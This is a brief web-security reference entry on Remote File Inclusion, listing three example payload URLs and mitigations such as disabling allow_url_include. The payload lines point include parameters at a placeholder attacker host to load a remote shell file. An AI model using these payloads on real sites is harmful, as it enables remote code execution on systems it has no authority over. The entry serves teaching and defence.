🧠 Description

RFI allows attackers to include remote files from attacker-controlled servers. Combined with LFI it leads to Remote Code Execution.

Impact: Remote Code Execution

💣 Payloads

?page=http://attacker.com/shell.txt
?page=http://attacker.com/shell.php
?file=ftp://attacker.com/malicious

🛡️ Mitigation

✅ Disable allow_url_include

✅ Use whitelist for includes

✅ Validate all file paths
Back to Web Security